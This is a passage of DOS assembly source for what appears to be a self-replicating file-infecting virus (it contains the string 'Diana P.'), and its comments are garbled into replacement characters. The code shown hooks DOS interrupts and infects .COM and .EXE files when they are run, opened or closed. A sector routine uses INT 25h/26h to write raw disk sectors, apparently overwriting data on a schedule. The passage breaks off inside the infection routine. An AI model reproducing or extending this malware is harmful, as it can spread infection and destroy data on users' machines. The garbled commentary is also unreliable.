; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> path-<2D> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>. <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> DOS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
sub al,'A'
|
|||
|
mov cx,1
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
add bx,offset int_27
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
int 25h
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
inc byte ptr [bx+0ah]
|
|||
|
and byte ptr [bx+0ah],0fh ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 15 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jnz store_sec ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
mov al,[bx+10h]
|
|||
|
xor ah,ah
|
|||
|
mul word ptr [bx+16h]
|
|||
|
add ax,[bx+0eh]
|
|||
|
push ax
|
|||
|
mov ax,[bx+11h]
|
|||
|
mov dx,32
|
|||
|
mul dx
|
|||
|
div word ptr [bx+0bh]
|
|||
|
pop dx
|
|||
|
add dx,ax
|
|||
|
mov ax,[bx+8]
|
|||
|
add ax,40h
|
|||
|
cmp ax,[bx+13h]
|
|||
|
jc store_new
|
|||
|
inc ax
|
|||
|
and ax,3fh
|
|||
|
add ax,dx
|
|||
|
cmp ax,[bx+13h]
|
|||
|
jnc small_disk
|
|||
|
store_new:
|
|||
|
mov [bx+8],ax
|
|||
|
store_sec:
|
|||
|
pop ax
|
|||
|
xor dx,dx
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
int 26h
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
cmp byte ptr [bx+0ah],0
|
|||
|
jne not_now
|
|||
|
mov dx,[bx+8]
|
|||
|
pop bx
|
|||
|
push bx
|
|||
|
int 26h
|
|||
|
small_disk:
|
|||
|
pop ax
|
|||
|
not_now:
|
|||
|
pop si
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,word ptr cs:[si+save_int_13]
|
|||
|
mov ds:[13h*4],ax
|
|||
|
mov ax,word ptr cs:[si+save_int_13+2]
|
|||
|
mov ds:[13h*4+2],ax
|
|||
|
pop ds
|
|||
|
pop ax
|
|||
|
cmp word ptr cs:[si+my_save],5a4dh
|
|||
|
jne go_exit_com
|
|||
|
jmp exit_exe
|
|||
|
go_exit_com:
|
|||
|
jmp exit_com
|
|||
|
int_24:
|
|||
|
mov al,3 ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 27h (<28><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
|
|||
|
int_27:
|
|||
|
pushf
|
|||
|
call alloc
|
|||
|
popf
|
|||
|
jmp dword ptr cs:[save_int_27]
|
|||
|
|
|||
|
; <20><><EFBFBD> DOS-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Set & Get Vector <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
|
|||
|
set_int_27:
|
|||
|
mov word ptr cs:[save_int_27],dx
|
|||
|
mov word ptr cs:[save_int_27+2],ds
|
|||
|
popf
|
|||
|
iret
|
|||
|
set_int_21:
|
|||
|
mov word ptr cs:[save_int_21],dx
|
|||
|
mov word ptr cs:[save_int_21+2],ds
|
|||
|
popf
|
|||
|
iret
|
|||
|
get_int_27:
|
|||
|
les bx,dword ptr cs:[save_int_27]
|
|||
|
popf
|
|||
|
iret
|
|||
|
get_int_21:
|
|||
|
les bx,dword ptr cs:[save_int_21]
|
|||
|
popf
|
|||
|
iret
|
|||
|
|
|||
|
exec:
|
|||
|
call do_file
|
|||
|
call alloc
|
|||
|
popf
|
|||
|
jmp dword ptr cs:[save_int_21]
|
|||
|
|
|||
|
db 'Diana P.',0
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21h. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0 <20> 26h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
int_21:
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
push [bp+6]
|
|||
|
popf
|
|||
|
pop bp
|
|||
|
pushf
|
|||
|
call ontop
|
|||
|
cmp ax,2521h
|
|||
|
je set_int_21
|
|||
|
cmp ax,2527h
|
|||
|
je set_int_27
|
|||
|
cmp ax,3521h
|
|||
|
je get_int_21
|
|||
|
cmp ax,3527h
|
|||
|
je get_int_27
|
|||
|
cld
|
|||
|
cmp ax,4b00h
|
|||
|
je exec
|
|||
|
cmp ah,3ch
|
|||
|
je create
|
|||
|
cmp ah,3eh
|
|||
|
je close
|
|||
|
cmp ah,5bh
|
|||
|
jne not_create
|
|||
|
create:
|
|||
|
cmp word ptr cs:[filehndl],0;<3B><><EFBFBD><EFBFBD> <20> <20><> <20> 0 <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
jne dont_touch
|
|||
|
call see_name
|
|||
|
jnz dont_touch
|
|||
|
call alloc
|
|||
|
popf
|
|||
|
call function
|
|||
|
jc int_exit
|
|||
|
pushf
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
push si
|
|||
|
push di
|
|||
|
push cx
|
|||
|
push ax
|
|||
|
mov di,offset filehndl
|
|||
|
stosw
|
|||
|
mov si,dx
|
|||
|
mov cx,65
|
|||
|
move_name:
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
test al,al
|
|||
|
jz all_ok
|
|||
|
loop move_name
|
|||
|
mov word ptr es:[filehndl],cx
|
|||
|
all_ok:
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
go_exit:
|
|||
|
popf
|
|||
|
jnc int_exit ;JMP
|
|||
|
close:
|
|||
|
cmp bx,word ptr cs:[filehndl]
|
|||
|
jne dont_touch
|
|||
|
test bx,bx
|
|||
|
jz dont_touch
|
|||
|
call alloc
|
|||
|
popf
|
|||
|
call function
|
|||
|
jc int_exit
|
|||
|
pushf
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push dx
|
|||
|
mov dx,offset filehndl+2
|
|||
|
call do_file
|
|||
|
mov word ptr cs:[filehndl],0
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
jmp go_exit
|
|||
|
not_create:
|
|||
|
cmp ah,3dh
|
|||
|
je touch
|
|||
|
cmp ah,43h
|
|||
|
je touch
|
|||
|
cmp ah,56h ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jne dont_touch ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
touch:
|
|||
|
call see_name
|
|||
|
jnz dont_touch
|
|||
|
call do_file
|
|||
|
dont_touch:
|
|||
|
call alloc
|
|||
|
popf
|
|||
|
call function
|
|||
|
int_exit:
|
|||
|
pushf
|
|||
|
push ds
|
|||
|
call get_chain
|
|||
|
mov byte ptr ds:[0],'Z'
|
|||
|
pop ds
|
|||
|
popf
|
|||
|
dummy proc far ;???
|
|||
|
ret 2
|
|||
|
dummy endp
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> .COM <20><><EFBFBD> .EXE. <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
see_name:
|
|||
|
push ax
|
|||
|
push si
|
|||
|
mov si,dx
|
|||
|
scan_name:
|
|||
|
lodsb
|
|||
|
test al,al
|
|||
|
jz bad_name
|
|||
|
cmp al,'.'
|
|||
|
jnz scan_name
|
|||
|
call get_byte
|
|||
|
mov ah,al
|
|||
|
call get_byte
|
|||
|
cmp ax,'co'
|
|||
|
jz pos_com
|
|||
|
cmp ax,'ex'
|
|||
|
jnz good_name
|
|||
|
call get_byte
|
|||
|
cmp al,'e'
|
|||
|
jmp short good_name
|
|||
|
pos_com:
|
|||
|
call get_byte
|
|||
|
cmp al,'m'
|
|||
|
jmp short good_name
|
|||
|
bad_name:
|
|||
|
inc al
|
|||
|
good_name:
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> lowercase (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>).
|
|||
|
|
|||
|
get_byte:
|
|||
|
lodsb
|
|||
|
cmp al,'C'
|
|||
|
jc byte_got
|
|||
|
cmp al,'Y'
|
|||
|
jnc byte_got
|
|||
|
add al,20h
|
|||
|
byte_got:
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21h (<28><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>).
|
|||
|
|
|||
|
function:
|
|||
|
pushf
|
|||
|
call dword ptr cs:[save_int_21]
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
do_file:
|
|||
|
push ds ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push es
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov si,ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
les ax,ds:[24h*4] ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 13h <20> INT 24h <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push es ;<3B> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push ax
|
|||
|
mov ds:[24h*4],offset int_24
|
|||
|
mov ds:[24h*4+2],cs
|
|||
|
les ax,ds:[13h*4]
|
|||
|
mov word ptr cs:[save_int_13],ax
|
|||
|
mov word ptr cs:[save_int_13+2],es
|
|||
|
mov ds:[13h*4],offset int_13
|
|||
|
mov ds:[13h*4+2],cs
|
|||
|
push es
|
|||
|
push ax
|
|||
|
mov ds,si
|
|||
|
xor cx,cx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> Read-only <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ax,4300h
|
|||
|
call function
|
|||
|
mov bx,cx
|
|||
|
and cl,0feh
|
|||
|
cmp cl,bl
|
|||
|
je dont_change
|
|||
|
mov ax,4301h
|
|||
|
call function
|
|||
|
stc
|
|||
|
dont_change:
|
|||
|
pushf
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
mov ax,3d02h ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
call function ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc cant_open
|
|||
|
mov bx,ax
|
|||
|
call disease
|
|||
|
mov ah,3eh ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
call function
|
|||
|
cant_open:
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
popf
|
|||
|
jnc no_update
|
|||
|
mov ax,4301h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>,
|
|||
|
call function ;<3B><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
no_update:
|
|||
|
xor ax,ax ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13h <20> INT 24h
|
|||
|
mov ds,ax
|
|||
|
pop ds:[13h*4]
|
|||
|
pop ds:[13h*4+2]
|
|||
|
pop ds:[24h*4]
|
|||
|
pop ds:[24h*4+2]
|
|||
|
pop dx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
disease:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov dx,offset top_save ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,18h
|
|||
|
mov ah,3fh
|
|||
|
int 21h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
mov ax,4202h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 21h
|
|||
|
mov word ptr [top_save+1ah],dx
|
|||
|
cmp ax,offset my_size ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> top_file
|
|||
|
sbb dx,0
|
|||
|
jc stop_fuck_2 ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov word ptr [top_save+18h],ax
|
|||
|
cmp word ptr [top_save],5a4dh
|
|||
|
jne com_file
|
|||
|
mov ax,word ptr [top_save+8]
|
|||
|
add ax,word ptr [top_save+16h]
|
|||
|
call mul_16
|
|||
|
add ax,word ptr [top_save+14h]
|
|||
|
adc dx,0
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
jmp short see_sick
|
|||
|
com_file:
|
|||
|
cmp byte ptr [top_save],0e9h
|
|||
|
jne see_fuck
|
|||
|
mov dx,word ptr [top_save+1]
|
|||
|
add dx,103h
|
|||
|
jc see_fuck
|
|||
|
dec dh
|
|||
|
xor cx,cx
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
see_sick:
|
|||
|
sub dx,startup-copyright
|
|||
|
sbb cx,0
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
add ax,offset top_file
|
|||
|
adc dx,0
|
|||
|
cmp ax,word ptr [top_save+18h]
|
|||
|
jne see_fuck
|
|||
|
cmp dx,word ptr [top_save+1ah]
|
|||
|
jne see_fuck
|
|||
|
mov dx,offset top_save+1ch
|
|||
|
mov si,dx
|
|||
|
mov cx,offset my_size
|
|||
|
mov ah,3fh
|
|||
|
int 21h
|
|||
|
jc see_fuck
|
|||
|
cmp cx,ax
|
|||
|
jne see_fuck
|
|||
|
xor di,di
|
|||
|
next_byte:
|
|||
|
lodsb
|
|||
|
scasb
|
|||
|
jne see_fuck
|
|||
|
loop next_byte
|
|||
|
stop_fuck_2:
|
|||
|
ret
|
|||
|
see_fuck:
|
|||
|
xor cx,cx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor dx,dx
|
|||
|
mov ax,4202h
|
|||
|
int 21h
|
|||
|
cmp word ptr [top_save],5a4dh
|
|||
|
je fuck_exe
|
|||
|
add ax,offset aux_size+200h ;<3B><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> .COM <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
adc dx,0
|
|||
|
je fuck_it
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> .EXE <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
fuck_exe:
|
|||
|
mov dx,word ptr [top_save+18h]
|
|||
|
neg dl
|
|||
|
and dx,0fh
|
|||
|
xor cx,cx
|
|||
|
mov ax,4201h
|
|||
|
int 21h
|
|||
|
mov word ptr [top_save+18h],ax
|
|||
|
mov word ptr [top_save+1ah],dx
|
|||
|
fuck_it:
|
|||
|
mov ax,5700h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 21h
|
|||
|
pushf
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
cmp word ptr [top_save],5a4dh
|
|||
|
je exe_file ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> <20><>
|
|||
|
mov ax,100h
|
|||
|
jmp short set_adr
|
|||
|
exe_file:
|
|||
|
mov ax,word ptr [top_save+14h]
|
|||
|
mov dx,word ptr [top_save+16h]
|
|||
|
set_adr:
|
|||
|
mov di,offset call_adr
|
|||
|
stosw
|
|||
|
mov ax,dx
|
|||
|
stosw
|
|||
|
mov ax,word ptr [top_save+10h]
|
|||
|
stosw
|
|||
|
mov ax,word ptr [top_save+0eh]
|
|||
|
stosw
|
|||
|
mov si,offset top_save ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
movsb ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
